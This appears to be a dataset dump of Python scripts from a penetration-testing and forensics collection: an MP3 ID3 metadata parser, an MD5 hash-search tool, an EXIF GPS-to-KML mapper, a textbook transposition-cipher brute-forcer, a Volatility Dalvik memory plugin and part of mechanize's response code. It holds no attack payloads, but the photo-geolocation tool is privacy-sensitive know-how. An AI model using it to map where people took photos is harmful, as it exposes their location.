'DuringPerformance', 'MovieScreenCapture', 'Fish', 'Illustration', 'BandArtistLogo', 'PublisherStudioLogo' ] # Attributes of the Class self.fileName = '' self.id3Size = 0 self.fileContents = '' self.mp3 = False self.id3 = False self.hdr = '' self.flag = 0 self.version = 0 self.revision = 0 self.unsync = False self.extendedHeader = False self.experimental = False self.hasPicture = False self.imageCount = 0 self.frameList = [] self.padArea = '' # Now Process the Proposed MP3 File try: self.fileName = theFile with open(theFile, 'rb') as mp3File: self.fileContents = mp3File.read() except: print "Could not process input file: ", theFile quit() #Strip off the first 10 characters of the file stripHeader = self.fileContents[0:6] #now unpack the header id3Header = unpack('3sBBB', stripHeader) self.hdr = id3Header[0] self.version = id3Header[1] self.revision = id3Header[2] self.flag = id3Header[3] if self.hdr == 'ID3' and self.version in range(2,4): self.id3 = True else: self.id3 = False print "MP3 File type not supported" quit() # If we seem to have a valid MP3 ID3 Header # Attempt to Process the Header # Get Size Bytes and unpack them stripSize = self.fileContents[6:10] id3Size = unpack('BBBB', stripSize) # Calculate the Size (this is a bit tricky) # and add in the 10 byte header not included # in the size self.id3Size = self.calcID3Size(id3Size) + 10 # check the unsync flag if self.flag & 0x60: self.unsync = True # check the extended header flag if self.flag & 0x40: self.extendedHeader = True # check the experimental indicator if self.flag & 0x40: self.experimental = True self.processID3Frames() return ''' Print out any extracted header information ''' def printResults(self): print "==== MP3/ID3 Header Information" print "ID3 Found: ", self.id3 if self.id3: print "File: ", self.fileName print "ID3 Hdr Size: ", self.hdr print "Version: ", self.version print "Revision: ", self.revision print "Size: ", self.id3Size print "Unsync ", self.unsync print "Extended Header: ", self.extendedHeader print "Experimental: ", self.experimental print "Images Found: ", str(self.imageCount) print "\n------------------------------------------------------------------------" print "ID3 Frames" print "------------------------------------------------------------------------" for entry in self.frameList: print "FrameID: ", entry[0] print "Frame Type: ", entry[1] print "Frame Size: ", entry[2] print "Tag Preservation: ", entry[4] print "File Preservation: ", entry[5] print "Read Only: ", entry[6] print "Compressed: ", entry[7] print "Encrypted: ", entry[8] print "Group Identity: ", entry[9] print "\nFrame Content:\n" PrintContents(entry[3], len(entry[3])) print "====================================================================================================\n" print "\nPad Area - Size", len(self.padArea) if len(self.padArea) != 0: PrintContents(self.padArea, len(self.padArea)) print "\n\n END PyMP3 Forensics" def processID3Frames(self): if self.id3: # starting first frame location frameOffset = 10 imageCount = 0 # Loop Through all the frames until we reach # Null ID # while self.fileContents[frameOffset] != '\000': while frameOffset < self.id3Size: # check for padding if self.fileContents[frameOffset] == '\000': # we are at the end of the frame # and we have found padding # record the pad area self.padArea = self.fileContents[frameOffset:self.id3Size] break if self.version == 2: # Version 2 Headers contain # 6 bytes # sss = type # xxx = size frameID = self.fileContents[frameOffset:frameOffset+3] if frameID in self.KNOWN_TAGS_V2: frameDescription = self.KNOWN_TAGS_V2[frameID] else: frameDescription = 'Unknown' frameOffset +=3 stripSize = self.fileContents[frameOffset:frameOffset+3] frameOffset +=3 frameSize = unpack('BBB', stripSize) integerFrameSize = self.calcFrameSize(frameSize) # If the frame is a picture # extract the contents of the picture and create # a separate file if frameID == "PIC": self.hasPicture = True # bump the image count in case multiple images # are included in this file self.imageCount+=1 self.extractPicture(frameOffset, 2, integerFrameSize, self.imageCount) # For version 2 set all version 3 flags to False tagPreservation = False filePreservation = False readOnly = False compressed = False encrypted = False groupID = 0 elif self.version == 3: # Version 3 Headers contain # 10 Bytes # ssss = Type # xxxx = size # xx = flags v3Header = self.fileContents[frameOffset:frameOffset+10] frameOffset += 10 try: frameHeader = unpack('!4sIBB', v3Header) except: print "Unpack Failed" quit() frameID = frameHeader[0] integerFrameSize = frameHeader[1] flag1 = frameHeader[2] flag2 = frameHeader[3] if frameID == 'APIC': self.hasPicture = True # bump the image count in case multiple images # are included in this file self.imageCount+=1 self.extractPicture(frameOffset, 3, integerFrameSize, self.imageCount) if frameID in self.KNOWN_TAGS_V3: frameDescription = self.KNOWN_TAGS_V3[frameID] else: frameDescription = 'Unknown' if flag1 & 0x80: tagPreservation = False else: tagPreservation = True if flag1 & 0x60: filePreservation = False else: filePreservation = True if flag1 & 0x40: readOnly = True else: readOnly = False if flag2 & 0x80: compressed = True else: compressed = False if flag2 & 0x60: encrypted = True else: encrypted = False if flag2 & 0x40: groupId = True else: groupID = False else: print "Version Not Supported" quit() frameContent = self.fileContents[frameOffset:frameOffset+integerFrameSize] frameOffset += integerFrameSize # Add frame information self.frameList.append([frameID, frameDescription, integerFrameSize, frameContent, tagPreservation, filePreservation, readOnly, compressed, encrypted, groupID] ) print frameID, frameDescription, if frameContent[0] == "\000": frameDump = frameContent[1:] else: frameDump = frameContent frameSnip = '' if frameID == "COMM": for eachChar in frameDump: if eachChar in string.printable: frameSnip = frameSnip + eachChar else: continue else: for eachChar in frameDump: if eachChar in string.printable: frameSnip = frameSnip + eachChar else: break print frameSnip[0:80] print return ''' extractPicture from ID3 Frame input: offset to the frame version (2 or 3) writes output to an images directory note the images directory must exist ./images/ ''' def extractPicture(self, off, ver, lenOfFrame, imgCnt): if ver == 2: # Now extract the picture type picType = '' typeOffset = off+1 while self.fileContents[typeOffset] != '\000': picType = picType+self.fileContents[typeOffset] typeOffset+=1 # skip terminating characters while self.fileContents[typeOffset] == '\000': typeOffset+=1 # Extract the picture from the content thePicture = self.fileContents[typeOffset:off+lenOfFrame] # Create a unique name for the picture relating it back to the original # filename into a sub-directory named images imageName = "./images/"+os.path.basename(self.fileName)+".image"+str(imgCnt)+"."+picType # Open the file for writing and write out the content with open(imageName, "wb") as out: out.write(thePicture) elif ver == 3: # Now extract the picture type mimeType = '' typeOffset = off+1 while self.fileContents[typeOffset] != '\000': mimeType = mimeType+self.fileContents[typeOffset] typeOffset+=1 # Set the file extension based on the mime type if mimeType.find('jpeg'): ext = "jpg" elif mimeType.find('png'): ext = "png" else: ext = "dat" # skip terminating characters while self.fileContents[typeOffset] == '\000': typeOffset+=1 # Next Byte is the Picture Type picType = self.fileContents[typeOffset] intPicType = ord(picType) if intPicType >= 0 and intPicType <= len(self.picTypeList): picTypeStr = self.picTypeList[intPicType] else: picTypeStr = "Unknown" typeOffset += 1 # skip terminating characters while self.fileContents[typeOffset] == '\000': typeOffset+=1 # Extract the picture from the content thePicture = self.fileContents[typeOffset:off+lenOfFrame] # Create a unique name for the picture relating it back to the original # filename into a sub-directory named images imageName = "./images/"+os.path.basename(self.fileName)+'.'+picTypeStr+'.'+str(imgCnt)+"."+ext # Open the file for writing and write out the content with open(imageName, "wb") as out: out.write(thePicture) ''' Calculate the ID3 Size The ID3 Size is 28 bits spread over 4 bytes in Big Endian Format the MSB of each byte is ignored and the remaining 7 bits of each byte are concatenated together to produce a 28 bit string. For example the four byte size shown below: 0x0 0x1 0x4a 0x3 Creates the following 28 bit string 0000000000000110010100000011 for a decimal integer value of: 25859 Adding in the 10 header bytes (which is not included in the size) the total size is: 25869 Excerpt from ID3 Standard The ID3 tag size is the size of the complete tag after unsychronisation, including padding, excluding the header (total tag size - 10). The reason to use 28 bits (representing up to 256MB) for size description is that we don't want to run out of space here. calcID3Size(receives a tuple of the four bytes) ''' def calcID3Size(self, bytes): # Convert the tuple to a list for easy processing bytes = list(bytes) # Ensure that the MSB of each Byte is zero bytes[0] = bytes[0] & 0x7f bytes[1] = bytes[1] & 0x7f bytes[2] = bytes[2] & 0x7f bytes[3] = bytes[3] & 0x7f # Initialize the bit string we will create bits = "" # loop through each byte setting each # to a '1' or '0' starting with bit 6 for val in bytes: i = 64 # continue until we process all bits # from bit 6-0 while i > 0: if val & i: bits = bits + '1' else: bits = bits + '0' # move to the next lower bit i = i/2 # Now simply Convert the Binary String to an Integer integerSize = int(bits,2) return integerSize ''' Calculate the Frame size from the 3 hex bytes provided Excerpt from ID3v2 Standard The three character frame identifier is followed by a three byte size descriptor, making a total header size of six bytes in every frame. The size is calculated as framesize excluding frame identifier and size descriptor (frame size - 6). calcFrameSize(receives a tuple of the three bytes) ''' def calcFrameSize(self, bytes): valList = list(bytes) finalValue = valList[0] << 16 finalValue = finalValue | valList[1] << 8 finalValue = finalValue | valList[2] return finalValue ''' Main Program ''' def main(): print print "Python Forensics, Inc. www.python-forensics.org" print "Python MP3 Forensics v 1.0 June 2016" print "developed by: C. Hosmer" print print "Script Started", GetTime() print # Process the command line arguments parser = argparse.ArgumentParser() parser.add_argument('mp3File') theArgs = parser.parse_args() # Obtain the single argument which is the # full path name of the file to process mp3File = theArgs.mp3File # set the output to verbose verbose = True print "Processing MP3 File: ", mp3File print # Process the mp3File objID3 = ID3(mp3File) # If verbose is selected the print results to standard out # otherwise create a log file if objID3.id3: if verbose: objID3.printResults() else: # Turn on Logging logging.basicConfig(filename='pSearchLog.log',level=logging.DEBUG,format='%(asctime)s %(message)s') objID3.logResults() if __name__ == "__main__": main()
34.978287
176
0.450796
cybersecurity-penetration-testing
''' Copyright (c) 2016 Chet Hosmer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. Script Purpose: Python HashSearch for MPE+ Script Version: 1.0 Script Author: C.Hosmer Script Revision History: Version 1.0 April 2016 ''' # Script Module Importing # Python Standard Library Modules import os # Operating/Filesystem Module import time # Basic Time Module import logging # Script Logging import hashlib # Python Hashing Module from sys import argv # Command Line arguments # Import 3rd Party Modules # End of Script Module Importing # Script Constants ''' Python does not support constants directly however, by initializing variables here and specifying them as UPPER_CASE you can make your intent known ''' # General Constants SCRIPT_NAME = "Script: Hash Search for MPE+ " SCRIPT_VERSION = "Version 1.0" SCRIPT_AUTHOR = "Author: C. Hosmer, Python Forensics" SCRIPT_LOG = "C:/SYN/HashSearch/FORENSIC_LOG.txt" SRC_HASH = "C:/SYN/HashSearch/Hashes.txt" CSV = "C:/SYN/HashSearch/results.csv" # LOG Constants used as input to LogEvent Function LOG_DEBUG = 0 # Debugging Event LOG_INFO = 1 # Information Event LOG_WARN = 2 # Warning Event LOG_ERR = 3 # Error Event LOG_CRIT = 4 # Critical Event LOG_OVERWRITE = True # Set this contstant to True if the SCRIPT_LOG # should be overwritten, False if not # End of Script Constants # Initialize Forensic Logging try: # If LOG should be overwritten before # each run, the remove the old log if LOG_OVERWRITE: # Verify that the log exists before removing if os.path.exists(SCRIPT_LOG): os.remove(SCRIPT_LOG) # Initialize the Log include the Level and message logging.basicConfig(filename=SCRIPT_LOG, format='%(levelname)s\t:%(message)s', level=logging.DEBUG) except: print ("Failed to initialize Logging") quit() # End of Forensic Log Initialization # Initialize CSV Output File # Write Heading Line try: csvOut = open(CSV, "w") csvOut.write("FileName, MD5 Hash, Match, Category \n") except: print ("Failed to initialize CSV File .. Make sure file is not open") quit() # Script Functions ''' If you script will contain functions then insert them here, before the execution of the main script. This will ensure that the functions will be callable from anywhere in your script ''' # Function: GetTime() # # Returns a string containing the current time # # Script will use the local system clock, time, date and timezone # to calcuate the current time. Thus you should sync your system # clock before using this script # # Input: timeStyle = 'UTC', 'LOCAL', the function will default to # UTC Time if you pass in nothing. def GetTime(timeStyle = "UTC"): if timeStyle == 'UTC': return ('UTC Time: ', time.asctime(time.gmtime(time.time()))) else: return ('LOC Time: ', time.asctime(time.localtime(time.time()))) # End GetTime Function ============================ # Function: LogEvent() # # Logs the event message and specified type # Input: # eventType: LOG_INFO, LOG_WARN, LOG_ERR, LOG_CRIT or LOG_DEBUG # eventMessage : string containing the message to be logged def LogEvent(eventType, eventMessage): if type(eventMessage) == str: try: timeStr = GetTime('UTC') # Combine current Time with the eventMessage # You can specify either 'UTC' or 'LOCAL' # Based on the GetTime parameter eventMessage = str(timeStr)+": "+eventMessage if eventType == LOG_INFO: logging.info(eventMessage) elif eventType == LOG_DEBUG: logging.debug(eventMessage) elif eventType == LOG_WARN: logging.warning(eventMessage) elif eventType == LOG_ERR: logging.error(eventMessage) elif eventType == LOG_CRIT: logging.critical(eventMessage) else: logging.info(eventMessage) except: logging.warn("Event messages must be strings") else: logging.warn('Received invalid event message') # End LogEvent Function ========================= # Simple CSV Write Method # Without Library Assist def WriteCSV(fileName, MD5, match, category): if match: csvOut.write(fileName+","+MD5+","+ "*** YES ***"+","+category+"\n") else: csvOut.write(fileName+","+MD5+","+ " "+","+""+"\n") # Main Script Starts Here # # Script Overview # # The purpose of this script it to provide an example # script that demonstrate and leverage key capabilities # of Python that provides direct value to the # forensic investigator. if __name__ == '__main__': # Mark the starting time of the main loop theStart = time.time() LogEvent(LOG_INFO, SCRIPT_NAME) LogEvent(LOG_INFO, SCRIPT_VERSION) LogEvent(LOG_INFO, "Script Started") # Print Basic Script Information # For MPE+ Scripts the length of the argument vector is # always 2 scriptName, path if len(argv) == 2: scriptName, path = argv else: LogEvent(LOG_INFO, argv + " Invalid Command line") quit() LogEvent(LOG_INFO,"Command Line Argument Vector") LogEvent(LOG_INFO,"Script Name: " + scriptName) LogEvent(LOG_INFO,"Script Path: " + path) # Verify the path exists and determine # the path type LogEvent(LOG_INFO, "Processing Command Line") if os.path.exists(path): LogEvent(LOG_INFO,"Path Exists") if os.path.isdir(path): LogEvent(LOG_INFO,"Path is a directory") else: LogEvent(LOG_ERR, path + " is not a directory") quit() else: LogEvent(LOG_ERR, path + " Does not exist") quit() LogEvent(LOG_INFO, "Reading Hash Values to Search from: "+SRC_HASH) LogEvent(LOG_INFO, "Creating Dictionary of Hashes") hashDict = {} try: with open(SRC_HASH) as srcHashes: # for each line in the file extract the hash and id # then store the result in a dictionary # key, value pair # in this case the hash is the key and id is the value LogEvent(LOG_INFO, "Hashes included in Search") LogEvent(LOG_INFO, "========== HASHES INCLUDED IN SEARCH ==========") for eachLine in srcHashes: if eachLine != "END": lineList = eachLine.split() if len(lineList) >= 2: hashKey = lineList[0].upper() hashValue = "" for eachElement in lineList[1:]: hashValue = hashValue + " " + str(eachElement) # Strip the newline from the hashValue hashValue = hashValue.strip() # Add the key value pair to the dictionary if hashKey not in hashDict: hashDict[hashKey] = hashValue LogEvent(LOG_INFO, hashKey+": "+hashValue) else: LogEvent(LOG_WARN, "Duplicate Hash Found: " + hashKey) else: # Not a valid entry, continue to next line continue else: break LogEvent(LOG_INFO, "========== END HASH SEARCH LIST ==========") except: LogEvent(LOG_ERR, "Failed to load Hash List: "+SRC_HASH) LogEvent(LOG_INFO, "========== FILE SEARCH START ==========") # Create Empty matchList and filesProcessed Count matchList = [] filesProcessed = 0 # Now process all files in the directory provided # Including all subdirectories for root, subdirs, files in os.walk(path): for curFile in files: # Create the full pathName fullPath = os.path.join(root, curFile) # Generate the hash for the current file # Default is to use MD5 hasher = hashlib.md5() with open(fullPath, 'rb') as theTarget: filesProcessed += 1 # Read the contents of the file and hash them fileContents = theTarget.read() hasher.update(fileContents) # get the resulting hashdigest hashDigest = hasher.hexdigest().upper() # Now check for a hash match against the # list we read in by checking the contents of the dictionary if hashDigest in hashDict: # If we find a match log the match and add the match to the matchList matchDetails = hashDict[hashDigest] LogEvent(LOG_CRIT, "*** HASH MATCH File *** ") LogEvent(LOG_CRIT, " MATCH File >> "+ curFile) LogEvent(LOG_CRIT, " MD5 DIGEST >> "+ hashDigest) LogEvent(LOG_CRIT, " CATEGORGY >> "+ matchDetails) # add entry to match list matchList.append([curFile, hashDigest, matchDetails]) # add entry to the csv file WriteCSV(curFile,hashDigest,True, matchDetails) else: # if no match simply log the file and associated hash value LogEvent(LOG_INFO, "File >> " + curFile + " MD5 >> " + hashDigest) # add entry to csv file WriteCSV(curFile,hashDigest,False, "") # All files are processed # close the CSV File for good measure csvOut.close() # Post the end of file search to the log LogEvent(LOG_INFO, "========== FILE SEARCH END ==========") # Once we process all the files # Log the contents of the match list # at the end of the log file # If any matches were found create a summary at # the end of the log if matchList: LogEvent(LOG_INFO, "") LogEvent(LOG_CRIT, "==== Matched Hash Summary Start ====") for eachItem in matchList: LogEvent(LOG_CRIT, "*** HASH MATCH File *** ") LogEvent(LOG_CRIT, " MATCH File >> "+ eachItem[0]) LogEvent(LOG_CRIT, " MD5 DIGEST >> "+ eachItem[1]) LogEvent(LOG_CRIT, " CATEGORGY >> "+ eachItem[2]) LogEvent(LOG_CRIT, "==== Matched Hash Summary End ====") # Record the End Time and calculate the elapsed time theEnd = time.time() elapsedTime = theEnd - theStart # Log the number of Files Processed # and the elapsed time LogEvent(LOG_INFO, 'Files Processed: ' + str(filesProcessed)) LogEvent(LOG_INFO, 'Elapsed Time: ' + str(elapsedTime) + ' seconds') # Now print the contents of the forensic log with open(SCRIPT_LOG, 'r') as logData: for eachLine in logData: print(eachLine)
32.848485
104
0.560964
cybersecurity-penetration-testing
__author__ = 'Preston Miller & Chapin Bryce' __date__ = '20151107' __version__ = 0.01 __description__ = 'KML Writer' import os import simplekml def writer(output, output_name, output_data): """ The writer function writes JPEG and TIFF EXIF GPS data to a Google Earth KML file. This file can be opened in Google Earth and will use the GPS coordinates to create 'pins' on the map of the taken photo's location. :param output: The output directory to write the KML file. :param output_name: The name of the output KML file. :param output_data: The embedded EXIF metadata to be written :return: """ kml = simplekml.Kml(name=output_name) for exif in output_data: if 'Latitude' in exif.keys() and 'Latitude Reference' in exif.keys() and 'Longitude Reference' in exif.keys() and 'Longitude' in exif.keys(): if 'Original Date' in exif.keys(): dt = exif['Original Date'] else: dt = 'N/A' if exif['Latitude Reference'] == 'S': latitude = '-' + exif['Latitude'] else: latitude = exif['Latitude'] if exif['Longitude Reference'] == 'W': longitude = '-' + exif['Longitude'] else: longitude = exif['Longitude'] kml.newpoint(name=exif['Name'], description='Originally Created: ' + dt, coords=[(longitude, latitude)]) else: pass kml.save(os.path.join(output, output_name))
34.045455
149
0.583387
cybersecurity-penetration-testing
# Transposition Cipher Hacker # http://inventwithpython.com/hacking (BSD Licensed) import pyperclip, detectEnglish, transpositionDecrypt def main(): # You might want to copy & paste this text from the source code at # http://invpy.com/transpositionHacker.py myMessage = """Cb b rssti aieih rooaopbrtnsceee er es no npfgcwu plri ch nitaalr eiuengiteehb(e1 hilincegeoamn fubehgtarndcstudmd nM eu eacBoltaeteeoinebcdkyremdteghn.aa2r81a condari fmps" tad l t oisn sit u1rnd stara nvhn fsedbh ee,n e necrg6 8nmisv l nc muiftegiitm tutmg cm shSs9fcie ebintcaets h aihda cctrhe ele 1O7 aaoem waoaatdahretnhechaopnooeapece9etfncdbgsoeb uuteitgna.rteoh add e,D7c1Etnpneehtn beete" evecoal lsfmcrl iu1cifgo ai. sl1rchdnheev sh meBd ies e9t)nh,htcnoecplrrh ,ide hmtlme. pheaLem,toeinfgn t e9yce da' eN eMp a ffn Fc1o ge eohg dere.eec s nfap yox hla yon. lnrnsreaBoa t,e eitsw il ulpbdofgBRe bwlmprraio po droB wtinue r Pieno nc ayieeto'lulcih sfnc ownaSserbereiaSm-eaiah, nnrttgcC maciiritvledastinideI nn rms iehn tsigaBmuoetcetias rn""" hackedMessage = hackTransposition(myMessage) if hackedMessage == None: print('Failed to hack encryption.') else: print('Copying hacked message to clipboard:') print(hackedMessage) pyperclip.copy(hackedMessage) def hackTransposition(message): print('Hacking...') # Python programs can be stopped at any time by pressing Ctrl-C (on # Windows) or Ctrl-D (on Mac and Linux) print('(Press Ctrl-C or Ctrl-D to quit at any time.)') # brute-force by looping through every possible key for key in range(1, len(message)): print('Trying key #%s...' % (key)) decryptedText = transpositionDecrypt.decryptMessage(key, message) if detectEnglish.isEnglish(decryptedText): # Check with user to see if the decrypted key has been found. print() print('Possible encryption hack:') print('Key %s: %s' % (key, decryptedText[:100])) print() print('Enter D for done, or just press Enter to continue hacking:') response = input('> ') if response.strip().upper().startswith('D'): return decryptedText return None if __name__ == '__main__': main()
45.94
785
0.680733
cybersecurity-penetration-testing
# Volatility # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or (at # your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA """ @author: Holger Macht @license: GNU General Public License 2.0 or later @contact: holger@homac.de """ import volatility.obj as obj import volatility.plugins.linux.flags as linux_flags import volatility.plugins.linux.common as linux_common import volatility.plugins.linux.proc_maps as linux_proc_maps import volatility.plugins.linux.dalvik_vms as dalvik_vms import volatility.plugins.linux.dalvik as dalvik import sys, traceback class dalvik_loaded_classes(linux_common.AbstractLinuxCommand): """Gather informationen about loaded classes a specific DalvikVM instance knows about""" def __init__(self, config, *args, **kwargs): linux_common.AbstractLinuxCommand.__init__(self, config, *args, **kwargs) dalvik.register_option_GDVM_OFFSET(self._config) dalvik.register_option_PID(self._config) def calculate(self): proc_maps = linux_proc_maps.linux_proc_maps(self._config).calculate() dalvikVMs = dalvik_vms.dalvik_vms(self._config).calculate() for task, gDvm in dalvikVMs: for entry in gDvm.loadedClasses.dereference().get_entries(): clazz = obj.Object('ClassObject', offset = entry, vm = gDvm.loadedClasses.obj_vm) yield task, clazz def render_text(self, outfd, data): self.table_header(outfd, [("PID", "5"), ("Offset", "10"), ("Descriptor", "70"), ("sourceFile", "30")]) for task, clazz in data: if isinstance(clazz.obj_offset, int): self.table_row(outfd, task.pid, hex(clazz.obj_offset), dalvik.getString(clazz.descriptor), dalvik.getString(clazz.sourceFile)) else: self.table_row(outfd, task.pid, clazz.obj_offset, dalvik.getString(clazz.descriptor), dalvik.getString(clazz.sourceFile))
38.323529
97
0.662926
PenetrationTestingScripts
"""Response classes. The seek_wrapper code is not used if you're using UserAgent with .set_seekable_responses(False), or if you're using the urllib2-level interface HTTPEquivProcessor. Class closeable_response is instantiated by some handlers (AbstractHTTPHandler), but the closeable_response interface is only depended upon by Browser-level code. Function upgrade_response is only used if you're using Browser. Copyright 2006 John J. Lee <jjl@pobox.com> This code is free software; you can redistribute it and/or modify it under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt included with the distribution). """ import copy, mimetools, urllib2 from cStringIO import StringIO def len_of_seekable(file_): # this function exists because evaluation of len(file_.getvalue()) on every # .read() from seek_wrapper would be O(N**2) in number of .read()s pos = file_.tell() file_.seek(0, 2) # to end try: return file_.tell() finally: file_.seek(pos) # XXX Andrew Dalke kindly sent me a similar class in response to my request on # comp.lang.python, which I then proceeded to lose. I wrote this class # instead, but I think he's released his code publicly since, could pinch the # tests from it, at least... # For testing seek_wrapper invariant (note that # test_urllib2.HandlerTest.test_seekable is expected to fail when this # invariant checking is turned on). The invariant checking is done by module # ipdc, which is available here: # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/436834 ## from ipdbc import ContractBase ## class seek_wrapper(ContractBase): class seek_wrapper: """Adds a seek method to a file object. This is only designed for seeking on readonly file-like objects. Wrapped file-like object must have a read method. The readline method is only supported if that method is present on the wrapped object. The readlines method is always supported. xreadlines and iteration are supported only for Python 2.2 and above. Public attributes: wrapped: the wrapped file object is_closed: true iff .close() has been called WARNING: All other attributes of the wrapped object (ie. those that are not one of wrapped, read, readline, readlines, xreadlines, __iter__ and next) are passed through unaltered, which may or may not make sense for your particular file object. """ # General strategy is to check that cache is full enough, then delegate to # the cache (self.__cache, which is a cStringIO.StringIO instance). A seek # position (self.__pos) is maintained independently of the cache, in order # that a single cache may be shared between multiple seek_wrapper objects. # Copying using module copy shares the cache in this way. def __init__(self, wrapped): self.wrapped = wrapped self.__read_complete_state = [False] self.__is_closed_state = [False] self.__have_readline = hasattr(self.wrapped, "readline") self.__cache = StringIO() self.__pos = 0 # seek position def invariant(self): # The end of the cache is always at the same place as the end of the # wrapped file (though the .tell() method is not required to be present # on wrapped file). return self.wrapped.tell() == len(self.__cache.getvalue()) def close(self): self.wrapped.close() self.is_closed = True def __getattr__(self, name): if name == "is_closed": return self.__is_closed_state[0] elif name == "read_complete": return self.__read_complete_state[0] wrapped = self.__dict__.get("wrapped") if wrapped: return getattr(wrapped, name) return getattr(self.__class__, name) def __setattr__(self, name, value): if name == "is_closed": self.__is_closed_state[0] = bool(value) elif name == "read_complete": if not self.is_closed: self.__read_complete_state[0] = bool(value) else: self.__dict__[name] = value def seek(self, offset, whence=0): assert whence in [0,1,2] # how much data, if any, do we need to read? if whence == 2: # 2: relative to end of *wrapped* file if offset < 0: raise ValueError("negative seek offset") # since we don't know yet where the end of that file is, we must # read everything to_read = None else: if whence == 0: # 0: absolute if offset < 0: raise ValueError("negative seek offset") dest = offset else: # 1: relative to current position pos = self.__pos if pos < offset: raise ValueError("seek to before start of file") dest = pos + offset end = len_of_seekable(self.__cache) to_read = dest - end if to_read < 0: to_read = 0 if to_read != 0: self.__cache.seek(0, 2) if to_read is None: assert whence == 2 self.__cache.write(self.wrapped.read()) self.read_complete = True self.__pos = self.__cache.tell() - offset else: data = self.wrapped.read(to_read) if not data: self.read_complete = True else: self.__cache.write(data) # Don't raise an exception even if we've seek()ed past the end # of .wrapped, since fseek() doesn't complain in that case. # Also like fseek(), pretend we have seek()ed past the end, # i.e. not: #self.__pos = self.__cache.tell() # but rather: self.__pos = dest else: self.__pos = dest def tell(self): return self.__pos def __copy__(self): cpy = self.__class__(self.wrapped) cpy.__cache = self.__cache cpy.__read_complete_state = self.__read_complete_state cpy.__is_closed_state = self.__is_closed_state return cpy def get_data(self): pos = self.__pos try: self.seek(0) return self.read(-1) finally: self.__pos = pos def read(self, size=-1): pos = self.__pos end = len_of_seekable(self.__cache) available = end - pos # enough data already cached? if size <= available and size != -1: self.__cache.seek(pos) self.__pos = pos+size return self.__cache.read(size) # no, so read sufficient data from wrapped file and cache it self.__cache.seek(0, 2) if size == -1: self.__cache.write(self.wrapped.read()) self.read_complete = True else: to_read = size - available assert to_read > 0 data = self.wrapped.read(to_read) if not data: self.read_complete = True else: self.__cache.write(data) self.__cache.seek(pos) data = self.__cache.read(size) self.__pos = self.__cache.tell() assert self.__pos == pos + len(data) return data def readline(self, size=-1): if not self.__have_readline: raise NotImplementedError("no readline method on wrapped object") # line we're about to read might not be complete in the cache, so # read another line first pos = self.__pos self.__cache.seek(0, 2) data = self.wrapped.readline() if not data: self.read_complete = True else: self.__cache.write(data) self.__cache.seek(pos) data = self.__cache.readline() if size != -1: r = data[:size] self.__pos = pos+size else: r = data self.__pos = pos+len(data) return r def readlines(self, sizehint=-1): pos = self.__pos self.__cache.seek(0, 2) self.__cache.write(self.wrapped.read()) self.read_complete = True self.__cache.seek(pos) data = self.__cache.readlines(sizehint) self.__pos = self.__cache.tell() return data def __iter__(self): return self def next(self): line = self.readline() if line == "": raise StopIteration return line xreadlines = __iter__ def __repr__(self): return ("<%s at %s whose wrapped object = %r>" % (self.__class__.__name__, hex(abs(id(self))), self.wrapped)) class response_seek_wrapper(seek_wrapper): """ Supports copying response objects and setting response body data. """ def __init__(self, wrapped): seek_wrapper.__init__(self, wrapped) self._headers = self.wrapped.info() def __copy__(self): cpy = seek_wrapper.__copy__(self) # copy headers from delegate cpy._headers = copy.copy(self.info()) return cpy # Note that .info() and .geturl() (the only two urllib2 response methods # that are not implemented by seek_wrapper) must be here explicitly rather # than by seek_wrapper's __getattr__ delegation) so that the nasty # dynamically-created HTTPError classes in get_seek_wrapper_class() get the # wrapped object's implementation, and not HTTPError's. def info(self): return self._headers def geturl(self): return self.wrapped.geturl() def set_data(self, data): self.seek(0) self.read() self.close() cache = self._seek_wrapper__cache = StringIO() cache.write(data) self.seek(0) class eoffile: # file-like object that always claims to be at end-of-file... def read(self, size=-1): return "" def readline(self, size=-1): return "" def __iter__(self): return self def next(self): return "" def close(self): pass class eofresponse(eoffile): def __init__(self, url, headers, code, msg): self._url = url self._headers = headers self.code = code self.msg = msg def geturl(self): return self._url def info(self): return self._headers class closeable_response: """Avoids unnecessarily clobbering urllib.addinfourl methods on .close(). Only supports responses returned by mechanize.HTTPHandler. After .close(), the following methods are supported: .read() .readline() .info() .geturl() .__iter__() .next() .close() and the following attributes are supported: .code .msg Also supports pickling (but the stdlib currently does something to prevent it: http://python.org/sf/1144636). """ # presence of this attr indicates is useable after .close() closeable_response = None def __init__(self, fp, headers, url, code, msg): self._set_fp(fp) self._headers = headers self._url = url self.code = code self.msg = msg def _set_fp(self, fp): self.fp = fp self.read = self.fp.read self.readline = self.fp.readline if hasattr(self.fp, "readlines"): self.readlines = self.fp.readlines if hasattr(self.fp, "fileno"): self.fileno = self.fp.fileno else: self.fileno = lambda: None self.__iter__ = self.fp.__iter__ self.next = self.fp.next def __repr__(self): return '<%s at %s whose fp = %r>' % ( self.__class__.__name__, hex(abs(id(self))), self.fp) def info(self): return self._headers def geturl(self): return self._url def close(self): wrapped = self.fp wrapped.close() new_wrapped = eofresponse( self._url, self._headers, self.code, self.msg) self._set_fp(new_wrapped) def __getstate__(self): # There are three obvious options here: # 1. truncate # 2. read to end # 3. close socket, pickle state including read position, then open # again on unpickle and use Range header # XXXX um, 4. refuse to pickle unless .close()d. This is better, # actually ("errors should never pass silently"). Pickling doesn't # work anyway ATM, because of http://python.org/sf/1144636 so fix # this later # 2 breaks pickle protocol, because one expects the original object # to be left unscathed by pickling. 3 is too complicated and # surprising (and too much work ;-) to happen in a sane __getstate__. # So we do 1. state = self.__dict__.copy() new_wrapped = eofresponse( self._url, self._headers, self.code, self.msg) state["wrapped"] = new_wrapped return state def test_response(data='test data', headers=[], url="http://example.com/", code=200, msg="OK"): return make_response(data, headers, url, code, msg) def test_html_response(data='test data', headers=[], url="http://example.com/", code=200, msg="OK"): headers += [("Content-type", "text/html")] return 